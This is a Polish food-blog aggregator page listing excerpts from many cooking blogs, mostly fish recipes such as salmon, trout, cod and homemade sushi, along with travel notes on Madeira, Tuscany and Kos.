mega chudy boczek) i jajka w koszulkach... Jak dla mnie połączenie niebiańskie.  Obiad urodzinowy dla męża- okazał się strzałem w dziesiątkę! Wracając do sosu, pasuje idealnie również do ryb. Powiem Wam, że ja osobiście jadła bym go ze wszystkim. Będziemy potrzebowali. Szparagi. Ja użyłam szparagów w słoiczku. Ponieważ nie znalazłam innych ;)   6 cienko pokrojonych plasterków boczku

Malinowe Pocałunki
Sandacz z sufletem z łososia. 175

family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Zdejmujemy skórę z ryb i wyciągamy ości. Łososia kroimy w kostkę i wkładamy do blendera.   Dolewamy śmietanę (partiami, w zależności od konsystencji). Doprawiamy do smaku solą i białym pieprzem. Miksujemy do momentu uzyskania(...)łyżek. Wyjmujemy szalotkę i dodajemy zimne masło w małych kawałkach. Po każdym razie dokładnie mieszając. Otrzymamy w ten sposób kremową emulsję na której układamy nasza rybę.      To jest jedna część mojego zgłoszenia do konkursu BLOGERCHEFF.    Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle

Malinowe Pocałunki
ŁOSOŚ PIECZONY Z CZĄBREM. 144

pieprzem, posypałam cząbrem i skropiłam sokiem z cytryny. Na wierzchu ułożyłam plasterki  masła i cytryny. Wstawiłam do nagrzanego piekarnika i piekłam około 30 minut w 170 stopniach, aż ryby pięknie się zrumienią. Podaję z lampką białego wina, ryżem i ulubionymi dodatkami. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
Madera - Funchal 139

został zbudowany w 1940 roku i zdecydowanie jest miejscem godnym polecenia. W dwupoziomowym budynku aż roi się od ludzi, barw, zapachów i życia. Sprzedawane są tu kwiaty, warzywa, owoce, ryby oraz pamiątki.  Fot. Młoda dziewczyna umilająca czas grą na cymbałach W oddzielonej części targowiska znajduje się część "rybna", w której rybacy sprzedają swe łowy. Fot. Sprzedawca z rybą Scabard

Taste Of My Day
Madera, raj na Oceanie Atlantyckim 178

banany to zupełnie inne w smaku owoce od tych, jakie są dostępne w polskich sklepach! Są słodsze, bardziej kremowe, absolutnie niesamowite! Są również dosatkiem do najbardziej charakterystycznej potrawy z ryb espada com banana , czyli panierowany filet ryby pałasz ze smażonym na maśle bananem i dodatkami. Danie absolutnie warte skosztowania. Kuchnia na maderze to doprawdy raj dla smakoszy. Lepiej niż słowa

Taste Of My Day
Śniadanie jesienne, pełne słońca, calutkie zaziarenkowane 197

Tyle słońca w całym mieście, Nie widziałeś tego jeszcze Popatrz, o popatrz.... Składniki chleb razowy pasta rybna -twaróg+ryba w oleju rzodkiewka oliwki sałata papryka pomidor ziarenka Słoneczne Pola od Ziarenkowo jabłko Sałatę pokrój na drobno, dodaj paprykę,pomidora. I wsyp ziarna od Ziarenkowa.Wymieszaj. Przygotuj pastę rybną- twaróg wymieszaj z rybą. Na kromki razowego chleba wyłóż pastę i dodaj rzodkiewki

Z Kuchni Do Kuchni
Pasta z wędzonego pstrąga 205

niebo w gębie. Z reszty postanowiłam zrobić pastę rybną na bazie twarogu, czyli wrócić wspomnieniami do dzieciństwa, gdy babcia smarowała kanapkę pastą z  wędzonej ryby  z dodatkiem posiekanej cebuli. Pasta z wędzonego pstrąga Proporcje dla 4-5 osób Czas przygotowania: 15 minut Składniki: 350 g wędzonego pstrąga 300 g białego zmielonego twarogu(...)zmielony pieprz 2 łyżki  posiekanego  koperku  opcjonalnie sok z cytryny Wykonanie: Pstrąga obieramy ze skóry i usuwamy ości. Szalotkę drobno siekamy. Do miski wkładamy rybę i rozdrabniamy ją widelcem, następnie dodajemy biały ser  i jogurt. Wszystko dokładnie mieszamy, możemy też składniki pasty po prostu zblendować. Dodajemy szalotkę, koperek i przyprawiamy

Kulinarne przygody Gatity
Farfalle z dynią i Grana Padano DOP 183

nazwie  griva .  Tapulone  to jadany w okolicach Novary gulasz z mięsa oślego. Do wielu dań używa się anchois i tuńczyka jako dodatków smakowo-zapachowych, ale ryby jako takie z rzadka pojawiają się w lokalnej kuchni. Wyjątkiem są pstrągi z górskich jezior i potoków. . … Ale my tu raczej zajmiemy się...dynią. I serem Grana Padano. Zaserwuję

Z Kuchni Do Kuchni
kaszanka z papryką,pieczarkami i z tandari masala... 175

Masala Royal Brand: produkt naturalny, nie zawiera glutaminianu sodu, bez soli - skład: kolendra, kmin, imbir, czosnek, chilli - smak: cierpki i pikantny - zapach: podobny do curry, aromaty Indii - zastosowanie: do ryb, mięsa, drobiu, nadaje smak Indii - opakowanie: 30 gram

W Mojej Kuchni Lubię
mielone barbecue i na obiad i na kolację... 198

zimno do pieczywa.......SMACZNEGO!!! mieszanka przypraw grill barbecue Royal Brand: produkt naturalny, nie zawiera glutaminianu sodu, bez soli - skład: papryka, chili, rozmaryn, cebula, koperek, tymianek - zastosowanie: do mięs, drobiu, ryb na grilla lub na patelnię - opakowanie: 70 gram

W Mojej Kuchni Lubię
smaczny domowy słodko-ostry sos z papryczek chilli... 183

jest o niebo lepszy od gotowych tego typu sosów w butelkach jeśli lubimy bardzo ostre przyprawy sos chilli jest świetnym dodatkiem do wszelkich potraw: mięsa zimne, sery różne, ryby, do zup, do sosu - ale mi najlepiej smakuje cienko posmarowany na chlebku z masłem..........SMACZNEGO

W Mojej Kuchni Lubię
papryka z przyprawą do grilla barbecue na parze duszona... 209

obiad lub kolację.......SMACZNEGO!!! mieszanka przypraw grill barbecue Royal Brand: produkt naturalny, nie zawiera glutaminianu sodu, bez soli - skład: papryka, chili, rozmaryn, cebula, koperek, tymianek - zastosowanie: do mięs, drobiu, ryb na grilla lub na patelnię - opakowanie: 70 gram

W Mojej Kuchni Lubię
schabowe z czosnkiem niedźwiedzim na ostro i solą guerande... 146

naturalny - właściwości: ma silne działanie bakteriobójcze, obniża ciśnienie krwi, korzystnie działa na serce, zapobiega miażdżycy - zastosowanie: można dodawać do zup, sałatek i marynować w oliwie i np. do kotletów, ryb smażonych - opakowanie: 30 gram

W Mojej Kuchni Lubię
Makaron z sosem dyniowym 230

przepisu na opakowaniu. Cebulę pokroić w drobną kostkę, podsmażyć na oliwie. Zdjąć cebulę z patelni. Pstrąga pokroić w nieduże kawałki - usmażyć na tej samej patelni, co uprzednio smażyliście cebulę. Rybę doprawić solą i pieprzem oraz sokiem z cytryny i posypać posiekaną natką pietruszki. Zdjąć z patelni. Na patelni ponownie umieścić podsmażoną cebulę, dodać pure z dyni oraz pozostałe składniki(...)koncentrat pomidorowym, bulion i śmietankę. Dokładnie wymieszać. Sos gotować kilka minut. Doprawić do smaku. Ugotowany makaron wymieszać z sosem. Porcję makaronu w sosie dyniowym posypać kawałkami pstrąga lub wmieszać rybę do sosu. Smacznego

kolorowotorcikowo
Pieczone ziemniaki Hasselback. 354

blasze lub w naczyniu żaroodpornym i pieczemy w temp.200stop.,60min. 20 min. przed końcem pieczenia polewamy masłem. Ziemniaczki powinny być mocno zarumienione. Stanowią doskonały dodatek do mięsa i ryb. Dosyć często wzbogacam ziemniaczki plasterkami sera, szynki, boczku lub cebulki. Ciekawy smak pojawia się przy dodaniu topionego wędzonego sera, smakuje jak boczek. Do tego sałata masłowa i śmietana ze szczypiorkiem

Kulinarny karnet Christophera
Chowder w stylu "Manhattan". 159

masła 3 plastry bekonu pokrojone na małe kawałki 2 posiekane cebule 2 ząbki czosnku 2 łodygi selera naciowego w plasterkach 3 ziemniaki pokrojone w kostkę 1 litr wywaru z ryb lub z kurczaka 2 łyżeczki świeżego tymianku 3 plasterki świeżego imbiru 1 łyżeczka chilli 2 łyżeczki kolendry 2 łyżeczki otartej skórki z pomarańczy 1 łyżka przecieru pomidorowego puszka krojonych pomidorów(...)przed podaniem. Gotować na małym ogniu ,pod przykryciem 15 min. W trakcie gotowania obrać krewetki, usunąć czarną żyłkę na grzbiecie. Dodać do rondla pomidory i przecier, zagotować. Dodać kawałki ryb i krewetki, gotować na małym ogniu 3 min. Doprawić do smaku, na talerzu posypać otartą skórką i natką pietruszki. Chowder powinien być lekko pikantny, a bardzo intrygujący jest dodatek skórki

Kulinarny karnet Christophera
Kaczka po pekińsku. 141

podajemy go od razu. Placki mandaryńskie. Placki obok ryżu są ulubionym dodatkiem do dań w Chinach Północnych .Są one prawie zawsze dodawane do pokrojonego w paski mięsa i ryby. A do kaczki po pekińsku  po prostu nie może ich zabraknąć. Składniki: 300 g mąki pszennej 0,25 l wrzącej wody 1-2 łyżki oleju sezamowego ¼ łyżeczki soli Wykonanie

Kulinarny karnet Christophera
Pulpety z dorsza z sosem śliwkowym. 161

łyżki wody 1 ząbek czosnku 2 łyżki rodzynek 3 goździki 0,5 łyżeczki imbiru sól, pieprz kilka orzechów włoskich Dorsza zalać gorącą wodą i zagotować. Usunąć ości i skórę. Rybę rozdrobnić widelcem, dodać resztę składników, dobrze wymieszać. Uformować kulki ,panierować i usmażyć. Sos. Wszystkie składniki włożyć do garnuszka ,wymieszać, zagotować i podgrzewać 8 min ,aż jabłka rozpadną się ,a masa

Kulinarny karnet Christophera
Grillowany filet z łososia w włoskiej kapuście. 158

Grilled salmon fillet in Italian cabbage. Składniki. 40 dag filet z łososia przyprawa do ryb 0,5 cytryna 4 ziemniaki 100 ml. śmietana 36% 1 żółtko 8 dag ser mozzarella 4 liście kapusta włoska 10 dag pieczarki pieprz olej do smażenia szczypiorek Wykonanie. Filet z łososia , odciąć skórę, usunąć ości, pokroić na dwie porcje, posypać przyprawą do ryb, skropić cytryną

Kulinarny karnet Christophera
Bądźmy modni, jedzmy jarmuż! 303

pomidorem, smażonym  chrupiącym jarmużem i parmezanem. Sałatki mogą być bardzo proste jak i bogate w składniki. Zależy to od naszej fantazji i smaku. Jarmuż dobrze łączy się z rybami i wędzonym mięsem. Sałatka ze smażonym jarmużem ,jabłkiem i Prosciutto Crudo posypana pistacjami. Liście smażonego jarmużu (chipsy )podałem z plasterkami lekko przesmażonego  winnego jabłka posypanego słodką papryką

Kulinarny karnet Christophera
Łosoś z warzywami w sosie chrzanowym 124

Bardzo lubię łososia,dlatego jeśli mam okazję staram się przygotować danie z tej ryby. Gotowany z warzywami na parze, polany sosem chrzanowym,  posiada wyjątkowy smak. Danie szybkie warto wypróbować. SKŁADNIKI ok 1/2 kg. łososia -filet sól , pieprz warzywa rożne- typu  marchew, kalafior, por, brokuł, ziemniaki ( właściwie to, co mamy) pół cebuli szklanka śmietany 18% 2 łyżeczki chrzanu olej(...)WYKONANIE Warzywa kroimy na drobne, łososia również dzielimy na dwa trzy kawałki, przyprawiamy. Wkładamy do garnka , do gotowania na parze. Wszytko gotujemy ok 45 min. Sos do ryby Cebulę  kroimy w kostkę i podsmażamy. Wlewamy śmietanę i dodajemy chrzan. Chwilę dusimy na małym ogniu. SMACZNEGO

W kuchennym oknie Ewy
Makaron inaczej, czyli owocowe spaghetti 492

obiad w nieco niekonwencjonalnym  wydaniu. Główny posiłek dnia w słodkiej wersji to u mnie prawdziwa rzadkość. Jednak przychodzi taki moment, że każdy może się znudzić kurczakiem i rybami, które w moim przypadku niemalże codziennie goszczą na talerzu. Dzisiejszy przepis to ratunek na właśnie takie dni, a tym samym druga część mojej "akcji" pt. Jedzmy owoce sezonowe  ( tutaj

peanutbuttermonster
Owocowe szaszłyki z paluszkami krabowymi (surimi) 164

papryka żółta lub czerwona olej niekoniecznie 3 łyżki przyprawa grillowa  lub słodka papryka, tymianek, szczypta soli i pół łyżeczki cukru Paluszków krabowych (które przygotowywane są z mięsa ryb z aromatem krabów) nie powinny spożywać osoby z uczuleniem na ryby i skorupiaki. Ze względu na zawartość sztucznych dodatków: wzmacniających smak, zapach i barwników lepiej nie podawać ich małym dzieciom

głodny alergik
Ogórki kiszone 202

Ogórki kiszone można podawać jako samodzielna przystawkę lub jako dodatek do pieczywa, wędlin, ryb i mięsa. Główny składnik zupy ogórkowej i sałatek warzywnych. Po ręcznie wykonane nakładki na słoje zajrzyjcie na stronę Pani Karoliny. Wersja 1: ogórki czosnek koper chrzan Zalewa: 1 l przegotowanej wody (zimnej) 1 łyżka soli 1. Ogórki i koper umyć. Czosnek i chrzan obrać

Apetyczna babeczka
Sushi 152

zawinięte są w arkusz z glonów nori i otacza je ryż. Zewnętrzna warstwa ryżu jest posypywana sezamem lub czarnuszką. Nigiri-zushi - są to ręcznie formowane bloczki ryżu przykryte kawałkiem ryb, owoców morza lub warzyw. Często nigiri jest owinięte cienkim paskiem nori. Więc jak już wstępnie wiemy co i jak, to zabieramy się do pracy, bo trochę nam się zejdzie :). Sushi(...)kroimy i układamy na półmisku. Czas na ostatnią odsłonę czyli Nigiri-zushi. Formujemy z ryżu małe bloczki i układamy na nich kawałek łososia wędzonego lub pieczonego. Gdy mamy już ryby na bloczkach, to owijamy cienkim paskiem nori (pod koniec owijania jakby nie chciał sie skleić pasek, to można posmarować odrobina wody).  Gdy mamy juz wszystko gotowe układamy na półmisku

Zainspiruj się kuchnią
Risotto z grzybami podane z mintajem *BEZGLUTENOWE* 208

jakiś czas dodajemy bulion i mieszamy. Jeżeli ryż wchłonie całą wodę - wlewamy cały bulion (wraz z warzywami), mieszamy i ponownie dusimy do całkowitego wchłonięcia. Na oddzielnej patelni smażymy rybę. Posypujemy ją solą i pieprzem cytrynowym. Dusimy z obu stron, ale uważajmy, aby się nie rozwaliła. Gotowe danie przekładamy na talerz. Smacznego

Truskawkowa Fiesta
Toskania: Zapraszam na toskański targ! 178

też mają u siebie kurki. Na jednym ze stoisk sprzedawali śliczne okrągłe cukinie, idealne do faszerowania. Nie brakowało też pomidorów we wszystkich odmianach i kolorach. Po lewej stoisko z rybami. W wielkiej puszce małe rybki, chyba sardynki. To białe to suszony, solony dorsz, bardzo popularny również w kuchni hiszpańskiej i portugalskiej. Po prawej stoisko z serami i wędlinami - sprzedawali(...)próbował tych potraw i był bardzo zadowolony.  Gdy jestem na targu w kraju śródziemnomorskim chętnie odwiedzam stoiska rybne, choćby po to, aby popatrzeć. W Polsce z kupnem dobrych ryb i owoców morza ciągle jest problem. O takich stoiskach możemy tylko pomarzyć. W Mercado Centrale kupicie niemal wszystko, jak się okazuje, nie tylko produkty włoskie. O to stoisko pytałam się

Chilli Czosnek i Oliwa
ZALEWA OCTOWA 197

Zalewa octowa znajduje u mnie zastosowanie głównie do przyrządzania ryb lub grzybków w occie. Nie jest zbyt ostra, wręcz łagodna , dla nas idealna. Często po świętach gdy zostają nam smażone ryby proponuję przygotować sobie zalewę i po kilku dniach mamy idealne danie np.na kolację. Moi domownicy uwielbiają rybki z octu. Grzybki oczywiście też. :-) Składniki: - 5 szklanek wody - 1 szklanka octu

Smaczne Zdrowe
Fishburger 197

również naszła nas taka ochota. Usiłowałyśmy ją stłumić w sobie... dość bezskutecznie. Dlatego też znalazłyśmy pośrednie rozwiązanie. Przyrządziłyśmy sobie w domu frytki z fishburgerem. Wprawdzie ze sztuczną bułką i rybą w postaci paluszków rybnych :P ale przynajmniej produkty dość świeże ze znanym składem. Wyszedł nam może niezbyt zdrowy obiad, ale za to bardzo szybki i smaczny. A danie takie(...)pewno docenią dzieci, którym możemy w ten sposób przemycić nieco ryby i sałaty:)  Ilość porcji: 2 Czas przygotowania: 15 minut Składniki: 2 bułki 2 plasterki żółtego sera 2 liscie sałaty* 4 paluszki rybne majonez (lub ketchup według uznania :)) *można dorzucić wszelki ulubione warzywa np. pomidor lub ogórek Nagrzewamy piekarnik do 200 stopni Celcjusza. Wkładamy paluszki rybne na 10 minut

Kolizje Smaków
Sushi z surimi, ogórkiem i awokado 192

Dzisiaj   chciałybyśmy zaproponować sushi z surimi, ogórkiem i awokado. W naszym sushi brakuje świeżych, surowych ryb, które są zwyczajowym elementem tego dania, jednakże bardzo trudno dostać świeże ryby dobrej jakości. Dodatkowym atutem tego sushi jest możliwość spożywania go przez kobiety w ciąży :) Ilość porcji: ok. 50 plasterków Składniki: 1,5 szklanki ryżu do sushi Zaprawa ryżowa: 7 łyżek octu

Kolizje Smaków
Greckie wakacje cz. 1 - Kulinarny pamiętnik z wyjazdu na Kos 136

własne  dolmades:) Zupa rybna i placuszki z ciecierzycy z anyżem Poniższe dania zamówiłam w uroczej rybnej tawernie. Właściciel lokalu wdzięcznie przekonywał mnie o najwyższej jakości użytych do zupy ryb. Placki miały zaskakujący smak, z lekko wyczuwalnym aromatem anyżu. Oba zaklasyfikowano jako meze . Gdzie jadłam - czyli polecane tawerny na Kos Jeżeli akurat wybieracie się na Kos, polecam was zajrzeć(...)rodzinnie prowadzona tawerna rybna. Dla mnie kwintesencja greckiego klimatu - stoły przykryte obrusem w kratkę, ocienione winoroślą ( na zdjęciu możecie zobaczyć zwisające winogrona ), a dookoła przepiękne widoki. Właściciel zachwalający swoje ryby ( można wybrać, która zostanie dla nas usmażona ), gawędzący z gośćmi. Zamówiliśmy grillowaną ośmiornicę, zupę rybną i placuszki z ciecierzycy - wszystko pyszne. Nie ma to jak restauracja, w której deser rośnie

Chilli Czosnek i Oliwa
Tabbouleh ze szczawiem i wiosennymi ziołami i o ogrodzie moich marzeń 200

bazie miodu doskonale dopełnia smak kaszy i równoważy kwaśny szczaw. Byłam naprawdę zaskoczona, jaka wyszła dobra:) Sałatka jest bardzo lekka, możecie ją więc uzupełnić grillowaną piersią z kurczaka lub rybą. Uwagi do przepisu: Kaszę bulgur powinniście dostać bez większych problemów w supermarketach, delikatesach i sklepach ze zdrową żywnością, a na pewno w sklepach z produktami arabskimi. Zawsze możecie zastąpić(...)pokrój w kostkę, dymki na plasterki, zaś szczaw i natkę posiekaj. Dodaj do kaszy i jeszcze raz wszystko wymieszaj.  Zajadaj samą lub w towarzystwie kawałka kurczaka czy grillowanej ryby. Możesz też posypać ją fetą. Sałatkę możesz zabrać ze sobą do pracy w pojemniczku.  Polecam Wam też przepis na cytrusową sałatkę z kuskusem

Chilli Czosnek i Oliwa
Okrasa z wędzonej makreli 138

makreli obranej z ości 10 dkg masła drobno posiekana dymka (pół niedużego pęczka) 1 łyżka śmietany 18% sól, chilli w młynku do dekoracji kiełki, roszponka i sos chili Winiary Rybę pozbawiamy ości, lekko rozgniatamy za pomocą widelca. 5 dkg masła ucieramy mikserem na puch. Z pozostałego masła należy przygotować tzw. brązowe masło . W tym celu masło rozpuszczamy na patelni(...)chwilę zwiększamy płomień i chwilę smażymy aby masło się zrumieniło. Nie bójmy się że popsujemy potrawę, takie masło nadaje całkowicie odmienny aromat potrawom. Rybę mieszamy z pozostałymi składnikami: utartym masłem, śmietaną i dymką, wlewamy brązowe masło, doprawiamy do smaku solą i chilli w młynku. Masę rozsmarowujemy na blaszce, tak aby utworzyła warstwę o wysokości ok. 2 cm. Odstawiamy do lodówki

Damsko-męskie spojrzenie na kuchnię
Śródziemnomorska zupa rybna Julii Child 197

przepisami Julii Child zapraszam na szybka zupę, rzadko gotowaną w Polsce a szkoda, bo jest naprawdę smaczna. Zupa rybna Julii jest prostym przykładem na to jak można wykorzystać w rybę, nawet zwykle filety tak popularne w sklepach jak mintaj, morszczuk, miruna, czy dorsz. Ja użyłam mrożonych filetów z miruny, które oczywiście najpierw odmroziłam a potem włożyłam do zupy pomidorowo-cebulowej

Bernika - moj kulinarny pamietnik
Dorsz pieczony w bekonie z sosem koperkowym 201

Dzisiaj na obiad dorsz- nie smażony , ale w bekonie. Myślę że smakosze ryb będą zachwyceni. Dodatek sosu koperkowego będzie uzupełnieniem przepysznego obiadu. Obiad robimy szybko i rewelacyjnie się prezentuje. Polecam . :) Zaczynamy  Składniki: dorsz - ilość zależna od potrzeby bekon- tyle ile jest kawałków ryby pieprz sok z cytryny oliwa z oliwek Sos koperkowy : składniki i wykonanie znajdziesz tutaj  Wykonanie

Smaki Edyty
W sam raz na raz- ryżowa sałatka z tuńczykiem 196

Pierwszy wpis z rybą. Dość późno, bo przecież jestem w kraju słynącym z rybołówstwa i owoców morza. W roli głównej ryba, którą jako jedyną uznaję na surowo. Ryżowa Sałatka z Tuńczykiem ryż biały ok. 100g puszka tuńczyka w wodzie mała puszka kukurydzy czarne oliwki ok. 10 szt. ząbek czosnku oliwa z oliwek sól, chilli mielone opcjonalnie łyżka majonezu Przygotowanie: ryż

bastalena
Mi to rybka - czyli jak zrobić zdrowe paluszki rybne dla maluszka 221

Lubicie jeść ryby?? Mam nadzieję że tak, bo są zdrowe, ich mięso zawiera dużo dobrze przyswajalnego białka, nasyconych i nienasyconych kwasów tłuszczowych (w tym cennych kwasów omega 3), sporo składników mineralnych (wapń, fosfor, jod, żelazo) i witamin A i D. My rybki do diety Le wprowadziliśmy już około pierwszych urodzin. Jeśli wprowadzasz ryby do diety dziecka, musisz zachować wszystkie procedury

Farmażony
Pstrąg z grilla z kolorowym sosem 268

Sezon grillowy trwa, a że na grillu oprócz wszechobecnego mięsa najzdrowsze są jednak ryby, dlatego polecam lekkiego, pysznego pstrąga z grilla, z kolorowym sosem z pomidorów i ogórków. Szybko, zdrowo i smacznie. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Fish & chips. 102

Wprawdzie nie aż tak mocno ociekające tłuszczem ale wciąż bardzo dobre! Składniki: pstrąg wegeta pieprz cytrynowy Skworcu oliwa frytki olej śmietana majonez ząbek czosnku Rybę myjemy i kładziemy na folii, polewamy oliwą, posypujemy wegetą oraz pieprzem cytrynowym Skworcu. Na drugiej blaszce wykładamy frytki i polewamy niedużą ilością oleju. Wszystko wstawiamy do piekarnika, aż ryba się upiecze, a frytki zarumienią

Brzuszki Łakomczuszki
Domowe sushi. 169

Domowe sushi, które tak na prawdę sushi nie jest, ponieważ używam wędzonej ryby. Niestety nie mam sprawdzonego sklepu ze świeżymi rybami, więc wolę nie ryzykować. Składniki: nori ryż u mnie parboild (2 torebki) paluszki krabowe łosoś wędzony awokado ogórek zielony majonez ocet winny (w oryginale powinien być ryżowy, jednak nie miałam takiego pod ręką) cukier sól wasabi sos sojowy Zaczynamy

Brzuszki Łakomczuszki
Sos tysiąca wysp 480

bazie majonezu i ketchupu z różnymi dodatkami: dodatkiem cukru, octu, soli, pieprzu cayenne przygotowuję odkąd pamiętam. Zawsze był doskonałym dodatkiem do pieczonego kurczaka, do grillowanego mięsa, smażonych ryb, do sałatek, nuggetsów, czy kanapek. W sieci ten sos funkcjonuje jako Sos tysiąca wysp. W tym przepisie wykorzystałam lekki majonez delikatny, a zamiast ketchupu pikantny sos meksykański, który doskonale wzmacnia pikantność tego(...)winnym) i cukrem. Doprawiamy sos do smaku solą i pieprzem cayenne. Mieszamy składniki aż konsystencja sosu stanie się jednolita i lekko napowietrzona. Podajemy sos jako dodatek do mięs, ryb, frytek, sałatek itp. Smacznego!   The post Sos tysiąca wysp appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Zębacz z sosem tatarskim 358

Dzisiaj na obiad zębacz  pieczony . Jest to ryba żyjąca w wodach Oceanu Atlantyckiego, o białym , jędrnym I przepysznym mięsie.  Danie jak najbardziej dietetyczne, dostarczające dużo białka , oraz witamin . Polecam. Zaczynamy Składniki: ok 1 kg zębacza 1 cytryna pieprz , sól, 2 łyżki oliwy z oliwek 1 ząbek czosnku Najpierw zaczęłam od  sosu tatarskiego- przepis znajdziecie tutaj(...)cytryny, rozgnieciony ząbek czosnk, szczyptę soli I pieprzu. Mieszamy. Zębacza układamy w naczyniu I polewamy sosem z oliwek. Wkładamy do nagrzanego piekarnika na 180 C na 15 min. Ryba gotowa. Zębacza podałam z sosem tatarskim    I z smażonymi warzywami. Smacznego

Smaki Edyty
Niebanalne kotlety mielone vol. 3 + słodko-kwaśna surówka 2883

solą i pierzem, a jeśli jabłka nie były dość słodkie, także cukrem. Odstawiamy na ok. 10 min. i ponownie mieszamy. Podajemy z kotletami mielonymi, kotletami z kurczaka, bądź z rybą w cieście. Surówka jest dość delikatna i idealnie pasuje do różnych mięs oraz ryb. To jeden z moich ulubionych dodatków obiadowych. Smacznego

Ratunku obiad
"Ilustrowana szkoła gotowania. Kuchnia włoska krok po kroku" - recenzja książki 169

pewno przydadzą się przepisy na buliony czy też instrukcja jak przygotować dekoracje z czekolady . Znajdziemy też podpowiedzi jak kroić świeże zioła, przygotować własną sól ziołową czy filetować rybę.  Mnóstwo podstawowych w kuchni czynności opisanych jest krok po kroku - np. przygotowanie owoców, warzyw, ryb i mięsa do dalszej obróbki. Makarony, faworki, jajka w koszulkach czy kruche ciasto

Kraina Tysiąca Smaków
Sałatka z wędzonym pstrągiem 202

teraz się głowię co ja tam dodawałam;) W każdym razie odkąd odkryłam, że pstrąg istnieje również w opcji wędzonej, odtąd go często kupuję! I pomyślałam, że skoro zapiekanka z rybą wędzoną była taka smaczna, to dlaczego nie zrobić sałatki z taką rybą? Zrobiłam więc:) Czytaj więcej

Zdrowa Kuchnia Sowy
Zupa ze szpinakiem i wędzonym dorszem 197

zaprzyjaźnionym blogu u Moniki znalazłam ostatnio przepis na zupę z dodatkiem (sporym!) wędzonego łupacza. Robiłam kiedyś wg przepisu Moniki zapiekankę makaronową z wędzoną rybą i bardzo mi smakowała, więc i teraz długo nie myślałam (a właściwie to wcale;) nad decyzją, że zrobię taką zupę. O łupaczu nikt nie słyszał nawet w sklepach typowo rybnych, więc postawiłam na dorsza, bo lubię(...)kostkę ziemniaka, chwilę pomieszałam i zalałam bulionem i mlekiem. Gotowałam ok. 1/2 godziny, do miękkości ziemniaka; w międzyczasie doprawiłam solą, pieprzem (sporo dałam) i lubczykiem. Na koniec dorzuciłam rybę w kawałkach, chwilkę pogotowałam ( 2 minuty?), a dodając pokrojony szpinak zdjęłam z gazu. Nie mam pojęcia jaki smak nadaje tej zupie łupacz, ale dorsz nadał bardzo dobry:) Jeszcze mam jedną porcję

Zdrowa Kuchnia Sowy
Okrasa z pstrąga 196

prezentuję drugi przepis, który wykorzystałam podczas Pikniku smakoszy w Lublinie . Składniki: 2 świeże pstrągi 1 mała czerwona cebulka 150 g masła 1 łyżka śmietany 18% sól, pieprz   Wykonanie: Ryby umyć, oprószyć solą i pieprzem, usmażyć pod przykryciem. Odstawi do wystygnięcia. Kiedy ryby ostygną, oddzielić mięso od skóry i wybrać ości. Mięso porwać na drobne kawałeczki. 40 g masła rozpuścić

kolorowotorcikowo
Łosoś otulony miętą z marchewką w sosie sojowym 190

theme-font:minor-bidi; mso-fareast-language:EN-US;} A ja wiosnę powitałam smaczną, zdrową rybką  - zapraszam!    Łosoś otulony miętą z marchewką w sosie sojowym Ryba: - 400g łososia +marynata: pieprz, sól, ząbek czosnku, sok z połowy pomarańczy Marchewka: - 4 duże marchewki - 4 łyżki sosu sojowego - łyżka miodu - 100ml białego wina półwytrawnego Miętowa otoczka: - 10 listków świeżej(...)miód. Smażymy jeszcze chwilę dla uzyskania pożądanej konsystencji – ja lubię lekko al dente ;) W moździerzu ucieramy mięte z oliwą, przyprawami i sokiem z cytryny. Na talerzu układamy marchewkę, następnie rybę i polewamy miętowym dresingiem. Przyozdabiamy gałązką tymianku i serwujemy. Zajadamy, a potem udajemy się na wiosenny spacer w promieniach słońca

Sajkofanka smaku
Makaron z owocami morza 207

Riesling d’Alsace jest uważany za jedno z najlepszych białych win na świecie. Wytrawne i eleganckie, o delikatnym aromacie, oraz subtelnym, lecz zdecydowanym bukiecie, towarzyszy najbardziej wykwintnym potrawom z ryb i skorupiaków, z białego mięsa i wieprzowiny, dobrze współgra z kuchniami orientalnymi i różnorodnymi serami. Do makaronu z owocami morza wybrałam właśnie Riesling d’Alsace. Wydaje mi się, że dobrze(...)makaronu ( u mnie Linguine) 1/2 cebuli 1 ząbek czosnku 20 koktajlowych pomidorków 600 g owoców morza( krewetki, mątwy, kałamarnice) łyżka przecieru pomidorowego ½ szklanki białego wina ½ szklanki gorącego wywaru z ryb ( w ostateczności warzywnego) z kostki natka pietruszki sól, pieprz do smaku 3 łyżki oliwy z oliwek Na patelni rozgrzewamy 2 łyżki oliwy, podsmażamy cebulkę pokrojoną w kosteczkę i czosnek. Kiedy

Mia Cucina Sofieta
Śledzie w zalewie octowej 230

Przepis tradycyjny, stary jak świat idealny na zbliżający się postny piątek i gdy mamy ochotę na coś kwaśnego. Ja uwielbiam mojej mamy smażone filety ryby w takiej w słodko-kwaśnej zalewie, bo są najlepsze na świecie. Czytaj więcej

Bernika - moj kulinarny pamietnik
Łosoś w marynacie teriyaki 180

Ryby na naszym stole niestety są rzadko, ale jak już są to muszą być przygotowane na tip top, a smak ich ma pozostać w naszej pamięci na długo. Tak tez było z tym łososiem. Zamiast tradycyjnie zamarynowanego i usmażonego postanowiłam że będzie miał charakter chiński. Zamarynowałam go tylko a resztę dania przygotował i wykonał mąż.. i co? i było

Bernika - moj kulinarny pamietnik
Dorada z grilla z kolorowym sosem 188

czas grilla, pogoda dopisuje dlatego nie siedźmy w domu ale wykorzystajmy ten czas na pikniki, wspólne grillowanie i pyszne jedzenie. A że grill nie zawsze musi być typowo mięsny, ryby też pysznie z niego smakuje polecam doradę, która nie tylko smakuje wybornie ale i pięknie się prezentuje na talerzu. Czytaj więcej

Bernika - moj kulinarny pamietnik
Diabeł morski z brokułami - monkfish with broccoli 179

